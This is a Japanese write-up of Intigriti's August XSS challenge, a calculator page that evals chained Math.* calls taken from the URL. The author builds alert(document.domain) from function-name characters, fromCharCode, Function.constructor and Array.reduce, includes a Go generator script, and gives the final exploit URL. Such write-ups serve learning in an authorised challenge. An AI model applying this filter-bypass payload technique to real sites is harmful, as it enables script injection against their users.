Intigriti's August XSS challenge
8/21 ~ 8/28 で開催されたXSS challenge。
後述の通り ,
を 99 個利用しており、解いた人の中では一番泥臭いことをしていそう。
概要
問題のjs部分のみを引用。
<script> (function(){ name = 'Pure Functional Math Calculator' let next Math.random = function () { if (!this.seeds) { this.seeds = [0.62536, 0.458483, 0.544523, 0.323421, 0.775465] next = this.seeds[new Date().getTime() % this.seeds.length] } next = next * 1103515245 + 12345 return (next / 65536) % 32767 } console.assert(Math.random() > 0) const result = document.querySelector('.result') const stack = document.querySelector('.stack-block') let operators = [] document.querySelector('.pad').addEventListener('click', handleClick) let qs = new URLSearchParams(window.location.search) if (qs.get('q')) { const ops = qs.get('q').split(',') if (ops.length >= 100) { alert('Max length of array is 99, got:' + ops.length) return init() } for(let op of ops) { if (!op.startsWith('Math.')) { alert(`Operator should start with Math.: ${op}`) return init() } if (!/^[a-zA-Z0-9.]+$/.test(op)) { alert(`Invalid operator: ${op}`) return init() } } for(let op of ops) { addOperator(op) } calculateResult() } else { init() } function init() { addOperator('Math.random') } function addOperator(name) { result.innerText = `${name}(${result.innerText})` operators.push(name) let div = document.createElement('div') div.textContent = `${operators.length}. ${name}` stack.prepend(div) } function calculateResult() { result.innerText = eval(result.innerText) } function handleClick(e) { let className = e.target.className let text = e.target.innerText if (className === 'btn-fn') { addOperator(`Math.${text}`) } else if (className === 'btn-ac') { result.innerText = 'Math.random()'; stack.innerHTML = '<div>1. Math.random</div>' operators = ['Math.random'] } else if (className === 'btn-share'){ alert('Please copy the URL!') location.search = '?q=' + operators.join(',') } else if (className === 'btn-equal') { calculateResult() } } })()
まずはこのjsでやってることを整理する。
クエリパラメータ q
を取得し、","
で splitした結果が ops
に格納される。
ops
の各要素は Math.
から始まる /^[a-zA-Z0-9.]+$/
にマッチする必要があり、その条件を満たしたときに result.innerText
に反映される。
つまり Math.hoge
や Math.fuga.piyo
のような形しか受け入れられず、Math
オブジェクトに実装されているメソッドしか利用できない。
result.innerText
が完成した後は ops
を入れ子構造にしていく。
例えば q=Math.random,Math.sin
としたときは Math.sin(Math.random())
となる。
出来上がった result.innerText
を eval
して計算結果を反映するという流れ。
この状況で、alert(document.domain)
を実行させることができればクリア。
writeup
関数の実行
関数を実行してくれそうなものがないと話にならない。
探してみたら、Array.prototype.reduce()
なるものを見つけた。
配列の要素それぞれに対して、引数に渡した関数を実行させる関数。
試しに開発者ツールのconsoleで以下を実行してみると alert()
が5回実行された。
Math.seeds.reduce(alert)
alert(document.domain)
を実行するような関数を定義し、それを reduce
に渡すことで実行させることができそうだ。
関数作成
alert(document.domain)
を実行するような関数を定義したい。
後述の方法で文字列を作成できることは判明していたので、文字から関数を定義できれば良い。
Function.constructor
が使える。
Math.abs.constructor("alert(document.domain)")()
これでalert(document.domain)
が実行された。良い感じ。
文字列生成
では、 alert(document.domain)
という文字列を作成していく。
['a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')'].join([]) // alert(document.domain)
配列に1文字ずつ格納し、joinすることで文字列を生成する方針をとる。
(空配列でjoinしているのは空文字 ""
が作成できないから。)
アルファベット生成
'a', 'l', 'e', 'r', 't', '(', 'd', 'o', 'c', 'u', 'm', 'e', 'n', 't', '.', 'd', 'o', 'm', 'a', 'i', 'n', ')'
の文字をすべて Math.hogehoge()
から作って push
していく。
まずは Function.name
を利用して関数名を String としてとってくる。
そしたら at(0)
とかして 0 文字目を抽出。
Math.abs.name.at(0)
// a
これを配列に push
していくことで配列を作っていく。対応表は以下。
"a": "Math.abs.name.at(Math.imul())" "c": "Math.cbrt.name.at(Math.imul())" "e": "Math.exp.name.at(Math.imul())" "i": "Math.imul.name.at(Math.imul())" "l": "Math.log.name.at(Math.imul())" "m": "Math.max.name.at(Math.imul())" "r": "Math.round.name.at(Math.imul())" "t": "Math.tan.name.at(Math.imul())" "d": "Math.constructor.defineProperties.name.at(Math.imul())" "n": "Math.sin.name.at(Math.exp(Math.cos(Math.imul())))" "o": "Math.cos.name.at(Math.cos(Math.imul()))" "u": "Math.trunc.name.at(Math.exp(Math.cos(Math.imul())))"
at
の引数として、0, 1, 2 を以下のように生成している。
0: "Math.imul()" 1: "Math.cos(Math.imul())" 2: "Math.exp(Math.cos(Math.imul()))"
ただ、これでは "(", ".", ")"
が生成できない。
記号生成
記号は fromCharCode
を使って気合で作成。
Math.abs.name.constructor.fromCharCode(40) // ( Math.abs.name.constructor.fromCharCode(41) // ) Math.abs.name.constructor.fromCharCode(46) // .
Math.cos
とかの組み合わせで 40, 41, 46
を作る必要がある。対応表は以下。
40: "Math.floor(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul())))))))" 41: "Math.ceil(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul())))))))" 46: "Math.floor(Math.expm1(Math.acosh(Math.exp(Math.exp(Math.cbrt(Math.cosh(Math.cos(Math.imul()))))))))"
空配列に対してこれらを push
していくことで join
させるための配列が作成できる。
空配列
今までスルーしていたが、各所で空配列が必要。
Array
オブジェクトに splice
というメソッドがあり、これに 0
を渡すことで Array
を空にできる。
Math.seeds.splice(0) // (5) [0.62536, 0.458483, 0.544523, 0.323421, 0.775465] Math.seeds // []
組み合わせる
ここまでで作成した奴らを組み合わせる。
以下は検証中に作成していたコード。
package main import ( "fmt" "strings" ) func reverse(s string) string { runes := []rune(s) for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 { runes[i], runes[j] = runes[j], runes[i] } return string(runes) } func main() { m := map[string]string{ "a": "Math.abs.name.at(Math.imul(", "c": "Math.cbrt.name.at(Math.imul(", "e": "Math.exp.name.at(Math.imul(", "f": "Math.floor.name.at(Math.imul(", "h": "Math.hypot.name.at(Math.imul(", "i": "Math.imul.name.at(Math.imul(", "l": "Math.log.name.at(Math.imul(", "m": "Math.max.name.at(Math.imul(", "p": "Math.pow.name.at(Math.imul(", "r": "Math.round.name.at(Math.imul(", "s": "Math.sign.name.at(Math.imul(", "t": "Math.tan.name.at(Math.imul(", "v": "Math.valueOf.name.at(Math.imul(", "d": "Math.constructor.defineProperties.name.at(Math.imul(", "n": "Math.sin.name.at(Math.exp(Math.cos(Math.imul(", "o": "Math.cos.name.at(Math.cos(Math.imul(", "u": "Math.trunc.name.at(Math.exp(Math.cos(Math.imul(", "(": "Math.abs.name.constructor.fromCharCode(Math.floor(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul(", ")": "Math.abs.name.constructor.fromCharCode(Math.ceil(Math.exp(Math.acosh(Math.exp(Math.ceil(Math.exp(Math.cos(Math.imul(", ".": "Math.abs.name.constructor.fromCharCode(Math.floor(Math.expm1(Math.acosh(Math.exp(Math.exp(Math.cbrt(Math.cosh(Math.cos(Math.imul(", } var q string q += "Math.seeds.reduce(" // 実行 q += "Math.abs.constructor(" // 文字列から関数を定義 q += "Math.seeds.join(Math.seeds.splice(" // arrayを空配列でjoin // 2. 後ろから1文字ずつpush for _, v := range strings.Split(reverse("(document.domain)"), "") { q += "Math.seeds.push(" + m[v] } // 2. 後ろから1文字ずつpush。(push時の返り値を利用することで一文字でも少なく済ませる) q += "Math.seeds.push(Math.hypot.name.at(" // t q += "Math.seeds.push(Math.round.name.at(Math.imul(" // r q += "Math.seeds.push(Math.exp.name.at(Math.imul(" // e q += "Math.seeds.push(Math.clz32.name.at(" // l q += "Math.seeds.push(Math.abs.name.at(" // a // 1. seedsを空に q += "Math.seeds.splice(Math.imul" qs := strings.Split(q, "(") fmt.Println("len:", len(qs)) for i := range qs { fmt.Printf("%v,", qs[len(qs)-1-i]) } }
単純に組み合わせるだけだと (
が個数制限を3つ越してしまった。
そこで push
時の返り値に seeds
の長さが返ってくることに着目し、at(0)
に a
が, at(1)
に l
があるような関数名を利用して Math.imul(
を3つだけ省略することができた。
できがったURLは以下。
,
が99個制限で、使っているのが99個というギリギリ具合。
https://challenge-0823.intigriti.io/challenge/index.html?q=Math.imul,Math.seeds.splice,Math.abs.name.at,Math.seeds.push,Math.clz32.name.at,Math.seeds.push,Math.imul,Math.exp.name.at,Math.seeds.push,Math.imul,Math.round.name.at,Math.seeds.push,Math.hypot.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.ceil,Math.exp,Math.acosh,Math.exp,Math.floor,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.imul,Math.constructor.defineProperties.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cos.name.at,Math.seeds.push,Math.imul,Math.cbrt.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.trunc.name.at,Math.seeds.push,Math.imul,Math.max.name.at,Math.seeds.push,Math.imul,Math.exp.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.sin.name.at,Math.seeds.push,Math.imul,Math.tan.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cosh,Math.cbrt,Math.exp,Math.exp,Math.acosh,Math.expm1,Math.floor,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.imul,Math.constructor.defineProperties.name.at,Math.seeds.push,Math.imul,Math.cos,Math.cos.name.at,Math.seeds.push,Math.imul,Math.max.name.at,Math.seeds.push,Math.imul,Math.abs.name.at,Math.seeds.push,Math.imul,Math.imul.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.sin.name.at,Math.seeds.push,Math.imul,Math.cos,Math.exp,Math.ceil,Math.exp,Math.acosh,Math.exp,Math.ceil,Math.abs.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.splice,Math.seeds.join,Math.abs.constructor,Math.seeds.reduce
このURLを開くと、alert(document.domain)
が22回実行される。
おそらく "(", ")", "."
の生成にメソッドを使いすぎているので、それがなければもうちょっと綺麗にできそう。